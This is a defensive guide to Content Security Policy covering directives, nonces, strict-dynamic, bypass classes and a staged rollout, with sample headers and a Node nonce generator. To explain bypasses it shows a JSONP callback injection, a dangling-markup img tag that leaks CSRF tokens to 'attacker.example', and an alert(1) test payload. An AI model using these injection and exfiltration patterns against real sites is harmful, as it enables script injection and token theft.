# Content Security Policy: Directives, Nonces, and Safe Rollout

> Learn how CSP blocks injected scripts and data exfiltration, where meta tags fall short, how nonces, hashes, and strict-dynamic work, and how to enforce safely.

**Quick answer:** Content Security Policy is a browser-enforced allowlist delivered as a response header. It constrains which scripts, styles, images, fonts, frames, and network destinations a document may use. The durable strategy is a per-response nonce or hash with strict-dynamic, explicit base-uri, form-action and frame-ancestors rules, and a report-only rollout before enforcement. CSP complements output encoding.

## Key takeaways

- CSP is enforced by the browser after delivery: it limits what a compromised page can load and execute, but it cannot fix server-side injection or authorization bugs.
- The response header supports frame-ancestors, report-uri, report-to, and sandbox; the meta tag silently ignores them, so treat meta as a fallback only.
- default-src does not cover base-uri, form-action, or frame-ancestors; each of those needs its own directive.
- Nonces and hashes with strict-dynamic are stricter and more durable than host allowlists, which rot as CDNs, JSONP endpoints, and subdomains change.
- CSP does not stop DOM XSS inside trusted code; pair it with output encoding, Trusted Types where available, and removal of JSONP endpoints.

---

Content Security Policy is the one response header that can turn an XSS bug from full account takeover into a blocked script and a log line. It is also the header most often shipped as a copy-pasted string, left in report-only mode for a year, or weakened with `'unsafe-inline'` to silence a console error.

This guide covers what each directive governs, where the meta fallback stops, how nonces and `'strict-dynamic'` change the threat model, why allowlists and JSONP undermine the policy, and how to move from observation to enforcement without breaking production.

## What CSP enforces and what it cannot do

CSP is a browser-enforced allowlist. The policy travels with the document, the browser parses it before executing scripts, and it decides which fetches and executions are permitted. Enforcement happens in the user's browser, not your server, so CSP protects only users of browsers that implement it and constrains only the document it was delivered with.

Policies compose rather than merge: if a response carries two CSP headers, or one header with two comma-separated policies, a resource must pass all of them. Inside one policy, the first occurrence of a duplicated directive wins, and unknown directives or malformed sources are ignored. A misspelled directive therefore silently removes protection, so lint policies in CI and diff them against a baseline.

CSP is defense in depth: the primary fix for XSS is contextual output encoding and safe templating. CSP is the seatbelt that turns a missed escape into a blocked request, and the only control that still works when a dependency writes raw HTML into the page.

## Header versus meta tag: what the meta form cannot express

`Content-Security-Policy` as a response header is the canonical form. It applies to every response type, arrives before the HTML parser starts, and can cover error pages that never pass through your application code. A CDN or reverse proxy can set it once for all HTML.

```http
Content-Security-Policy: default-src 'self'; script-src 'nonce-4pV9n2Kc8QxR7mW3' 'strict-dynamic' https: 'unsafe-inline'; style-src 'self' 'nonce-4pV9n2Kc8QxR7mW3'; img-src 'self' data:; connect-src 'self' https://api.example.com; font-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; report-to csp-endpoint; report-uri /csp-report
Reporting-Endpoints: csp-endpoint="https://reports.example.com/csp"
Cache-Control: no-store
```

The `<meta http-equiv="Content-Security-Policy" content="...">` form exists for hosts that cannot set headers, such as some static file services. It has hard limits:

- `frame-ancestors`, `report-uri`, `report-to`, and `sandbox` are ignored in meta. A clickjacking defense placed there does nothing.
- It covers only the document that contains it. JSON, PDF, image, and edge-generated error responses get no policy at all.
- The policy is installed when the parser reaches the element, so a script earlier in the document can be fetched before that point. Keep the tag at the very top of `<head>`.
- Nonces in meta are fragile: the value is embedded in HTML that static hosts and CDNs love to cache, which hands every visitor the same nonce.

An injected meta tag cannot loosen an existing policy, because policies intersect, but it can confuse operators reading source. Use the [HTTP headers](/tools/http-headers) inspector to confirm what ships: frameworks, CDNs, and proxies routinely add, rewrite, duplicate, or strip CSP headers, and origin configuration is not proof of the bytes users receive.

## Fetch directives: default-src, script-src, style-src, img-src, connect-src, font-src

`default-src` is the fallback for fetch directives without an explicit rule, covering script, style, image, connect, font, media, object, frame, worker, and manifest fetches. It does not cover `base-uri`, `form-action`, `frame-ancestors`, or reporting.

`'self'` means the page's origin: same scheme, host, and port; a subdomain is a different origin. List `wss://` explicitly, because `'self'` coverage for WebSockets has been inconsistent. `data:` and `blob:` are never implicit, and granting them to scripts recreates an injection primitive.

Path components in source expressions are weak: CSP skips path matching after redirects, so `https://cdn.example.com/assets/` is not a boundary an attacker respects. Treat hosts, not paths, as the unit of trust.

| Directive | Governs | Strict starting point | Failure if omitted |
| --- | --- | --- | --- |
| default-src | Fallback for fetch directives without an explicit rule | 'self' | Unlisted resource types inherit an unexpected default |
| script-src | Script elements, inline handlers, javascript: URLs, eval | 'nonce-...' 'strict-dynamic' | Injected scripts and handlers execute |
| style-src | Stylesheets, style elements, style attributes | 'self' 'nonce-...' | Injected CSS can exfiltrate data or redress the UI |
| img-src | Images, favicons, CSS images, srcset | 'self' data: | Beacon images leak tokens to third parties |
| connect-src | fetch, XHR, WebSocket, EventSource, sendBeacon | 'self' plus known API origins | Stolen data is posted to an attacker origin |
| font-src | @font-face sources | 'self' | Font requests leak page context to third parties |

## Navigation, injection, and reporting directives

`frame-ancestors` replaces `X-Frame-Options` and decides which origins may embed the document. Use `'none'` unless a specific partner frames you, then list exact origins. It works only in the header; browsers that support it ignore `X-Frame-Options`, so keep that legacy header only for older clients.

`base-uri` restricts `<base href>`. An injected base tag re-points every relative script, stylesheet, and link at an attacker host; `'none'` is right for applications that do not use `<base>`. `form-action` restricts form submissions and checks redirect targets too. Neither directive falls back to `default-src`, and `form-action` does not cover `fetch` calls, which belong to `connect-src`.

`object-src 'none'` blocks plugin content and `<embed>` objects, and is mandatory hygiene next to `strict-dynamic` because older browsers fall back to legacy allowlists.

`upgrade-insecure-requests` rewrites insecure subresource requests to HTTPS at fetch time. It is a migration aid, not a substitute for HSTS, and does nothing for non-browser clients or URLs that redirect back to HTTP.

`report-to` and `report-uri` wire violations to a collector. `report-uri` is deprecated in CSP3 but remains the broadest implementation; `report-to` uses endpoint groups declared in `Reporting-Endpoints` (or the older `Report-To` header). Send both during the transition, and remember that reporting is best effort: browsers coalesce, sample, or drop reports under load.

## Nonces, hashes, and strict-dynamic

A nonce is a random value generated per response, placed in the policy as `'nonce-...'` and repeated on every trusted `<script>` and `<style>` element. Use at least 128 bits from a cryptographic generator, base64-encoded. The value must be unpredictable and unique per response; reusing it across users or caching the HTML defeats the model.

A hash is the base64 digest of an exact inline script or style, written as `'sha256-...'` or stronger. Hashes suit static pages with a small, stable set of snippets, but every content change requires regenerating them. CSP3 also lets a hash authorize an external script with a matching integrity attribute.

`'strict-dynamic'` changes the trust model for scripts. When a nonce or hash is present, supporting browsers ignore host allowlists, `'self'`, and `'unsafe-inline'` in `script-src`; only nonce-bearing or hash-matching scripts run, and those scripts may create further script elements, which inherit trust. This is how bundlers and tag loaders work under a strict policy. The compatibility pattern keeps fallback tokens that modern browsers ignore: `script-src 'nonce-...' 'strict-dynamic' https: 'unsafe-inline'`.

The limits matter. `'strict-dynamic'` does not apply to `style-src`, does not allow `eval`, and does not cover `style` attributes or inline event handlers, which still need `'unsafe-inline'` or `'unsafe-hashes'`. And trust propagates: a trusted script that turns attacker input into a script element or `eval` call is allowed silently.

## Why host allowlists and unsafe-inline fail

A host allowlist assumes every URL on an allowed host serves only code you trust. That assumption rarely survives a real CDN: object storage buckets host user uploads, marketing subdomains run forgotten CMS installs, and wildcards such as `*.example.com` include shadow IT and takeover-prone subdomains. Entries also outlive the vendor that justified them.

JSONP is the sharpest example. An endpoint such as `https://api.example.com/jsonp?callback=alert(document.domain)` returns attacker-chosen JavaScript from an allowed host, and CSP permits it because the origin matches. Any allowed host with a JSONP endpoint or user-controlled content is a script source regardless of the contract.

`'unsafe-inline'` is worse because it removes the protection CSP exists to provide. With HTML injection, an attacker can add an inline `<script>`, an `onerror` handler, or a `javascript:` URL, and all of them execute. `'unsafe-eval'` extends the same problem to string-evaluated code and is still required by some template engines and older libraries. Granting `data:` to `script-src` allows `data:text/javascript,...` payloads outright.

The durable alternative is nonce or hash plus `'strict-dynamic'`, with host allowlists kept only as a fallback for browsers without CSP3. Those fallback tokens are technical debt with a removal date, not part of the security boundary.

## JSONP, DOM XSS, and dangling markup bypasses

CSP is an execution policy, not a vulnerability scanner. Three bypass classes matter in practice.

**JSONP and script gadgets.** A whitelisted JSONP endpoint executes attacker-supplied callbacks, as shown above. Script gadgets are similar: a trusted library that turns DOM input into script or `eval` runs code without violating the policy. `'strict-dynamic'` makes this sharper because any script created by trusted code is trusted too. Remove JSONP, validate URLs before a loader creates elements, and upgrade libraries whose templating compiles strings.

**DOM XSS.** When a nonce-trusted bundle does `element.innerHTML = location.hash` or passes a URL parameter into `eval`, no fetch occurs and CSP reports nothing. The policy did its job; the trusted code did not. Trusted Types (`require-trusted-types-for 'script'`) closes many of these sinks, but needs code changes and browser support.

**Dangling markup.** An injected, unclosed `<img src="https://attacker.example/?` swallows the rest of the document, including CSRF tokens, into a request URL. `img-src` blocks the request if the attacker origin is not allowed, `base-uri 'none'` stops base-tag hijacking, and `form-action 'self'` prevents an injected form from posting secrets elsewhere. Navigation-based exfiltration through meta refresh or `location` assignment is not restricted by CSP, so keep secrets out of URLs and set `SameSite` cookies.

## Report-only rollout and violation collection

`Content-Security-Policy-Report-Only` runs the same policy without blocking. Deploy it first, collect for a full business cycle, and classify every violation: inline handler, third-party loader, stale allowlist entry, browser extension, or real bug. Fix the application where possible; widen the policy only when the resource is still necessary.

Roll out in stages: report-only in production, enforcement in staging, then a small production cohort. When the enforcing policy is clean, keep a second report-only policy for the next tightening to preview what would break.

Violation reports contain `document-uri`, `blocked-uri`, `effective-directive`, `disposition`, `status-code`, and, with `report-sample`, a short `script-sample`. Treat the collector as an untrusted write endpoint: cap body size, rate-limit by IP and document, deduplicate, and never echo report content into an admin page. Extensions and security software generate noise, so filter `chrome-extension://` and `moz-extension://` blocked URIs rather than weakening the policy. Test the collector with a synthetic violation from the [HTTP request workbench](/tools/http-request) before relying on it in an incident.

## Nonce-per-request and caching implications

A nonce has to be new for every HTML response. Generate it with a cryptographic random source, put the same value in the header and in every trusted script tag, and never derive it from a user ID, a timestamp, or a template variable that survives caching.

```ts
import { randomBytes } from "node:crypto";

export function cspForDocument() {
  const nonce = randomBytes(16).toString("base64"); // 128 bits, fresh per response
  const policy = [
    "default-src 'self'",
    `script-src 'nonce-${nonce}' 'strict-dynamic' https: 'unsafe-inline'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "img-src 'self' data:",
    "connect-src 'self' https://api.example.com",
    "font-src 'self'",
    "object-src 'none'",
    "base-uri 'none'",
    "form-action 'self'",
    "frame-ancestors 'none'",
    "upgrade-insecure-requests",
    "report-to csp-endpoint",
    "report-uri /csp-report"
  ].join("; ");

  return {
    nonce,
    headers: {
      "Content-Security-Policy": policy,
      "Reporting-Endpoints": 'csp-endpoint="https://reports.example.com/csp"',
      "Cache-Control": "no-store"
    }
  };
}
```

The caching consequences are concrete. A per-response nonce makes HTML uncacheable by shared caches, so set `Cache-Control: no-store`. If the page must be cached, generate the nonce at the edge after the cache lookup, or keep the cached template nonce-free. ETags break too: a changing nonce means a revalidated 304 never matches. Static sites should hash their inline bootstrap; when a host only allows meta tags, the [meta tag generator](/tools/meta-tag-generator) can build one, but `frame-ancestors` and reporting will be missing. Service worker caches keep the nonce of the document they stored, which is fine for that document but must never be shared across users or left stale after a deploy.

## Verification checklist and pass criteria

Verify the control in order, through the public edge rather than the origin:

1. Confirm delivery. Run `curl -sI https://example.com | grep -i content-security-policy` and repeat for a 404, a login page, and an error route. A header on the homepage alone is not coverage.
2. Lint the policy. Reject `'unsafe-inline'` where nonces work, `'unsafe-eval'`, wildcards, and `data:` in `script-src`; require `object-src 'none'`, `base-uri 'none'`, and explicit `frame-ancestors`.
3. Check nonce freshness. Fetch the same page twice and compare; matching nonces mean cached HTML or a static value.
4. Test a benign injection in staging, such as `<script>alert(1)</script>` in a form field, and confirm the console reports a violation and the collector receives it.
5. Soak in report-only for at least seven days, then enforce and watch the violation rate and error budget.

Production pass criteria: every HTML response, including 404, 500, and authenticated pages, carries an enforcing header; `script-src` has no `'unsafe-inline'` or `'unsafe-eval'` in browsers that support nonces; `object-src`, `base-uri`, and `frame-ancestors` are explicit; consecutive responses carry different 128-bit nonces; report-only shows zero unexpected violations for seven days; and rollback is an edge configuration change, not a code deploy.

| Failure mode | How it shows up | Fix |
| --- | --- | --- |
| Misspelled directive | Policy parses, protection silently missing | Lint policies in CI and diff against a baseline |
| CSP only on application routes | 404, 500, and edge pages unprotected | Set the header at the CDN or reverse proxy |
| Nonce reused from cache | Identical nonce on every response | Generate per response at the edge or disable HTML caching |
| default-src assumed to cover everything | base-uri, form-action, frame-ancestors unprotected | Add each directive explicitly |
| Report-only left enabled | Violations collected, nothing blocked | Schedule enforcement and keep reporting for the next change |
| Trusted loader creates untrusted scripts | strict-dynamic executes what the loader builds | Validate URLs in the loader and remove script gadgets |
| Extension noise | blocked-uri starts with chrome-extension:// | Filter those reports instead of widening the policy |
| Header stripped by a proxy | Origin shows CSP, the response does not | Check through the public edge and fix proxy rules |

CSP is not a switch you flip once. It is a policy you version, test, and tighten as the application changes, and its value comes from what it blocks when everything else has failed.

## Frequently asked questions

### Does a CSP meta tag protect a page as well as a response header?

No. A meta tag cannot express frame-ancestors, report-uri, report-to, or sandbox, covers only the HTML document that contains it, and takes effect when the parser reaches it, so earlier fetches can escape. Use a response header whenever the host allows it.

### Can I reuse one nonce across cached responses?

No. A nonce must be unpredictable and unique per response. A shared cached HTML document gives every visitor the same nonce, so a stored injection can embed it and run. Use per-response nonces with no-store HTML, or switch static pages to hashes.

### Is strict-dynamic enough to stop XSS?

No. strict-dynamic stops untrusted script elements from executing, but any trusted script that writes attacker-controlled data into a script, eval, or DOM sink still runs. Keep output encoding tight, add Trusted Types where supported, and remove script gadgets.

### Why do I see CSP violations caused by browser extensions?

Extensions inject scripts and frames into pages from privileged contexts, and reports can name chrome-extension:// or moz-extension:// URLs. Filter those blocked-uri values in the collector instead of widening the policy to silence them.

### Should I use report-uri or report-to?

report-to is the modern Reporting API directive, while report-uri is deprecated but still the most widely implemented. Ship both during the transition, declare the endpoint group with Reporting-Endpoints, and verify which browsers actually deliver reports.

## References

- [W3C: Content Security Policy Level 3](https://www.w3.org/TR/CSP3/)
- [MDN: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)
- [web.dev: Content Security Policy](https://web.dev/articles/csp)
- [OWASP: Content Security Policy Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)

---

- Canonical: https://www.jsonmind.com/guides/content-security-policy
- Locale: en
- Published: 2026-11-17
- Updated: 2026-11-17
- Tools: http-headers, http-request, meta-tag-generator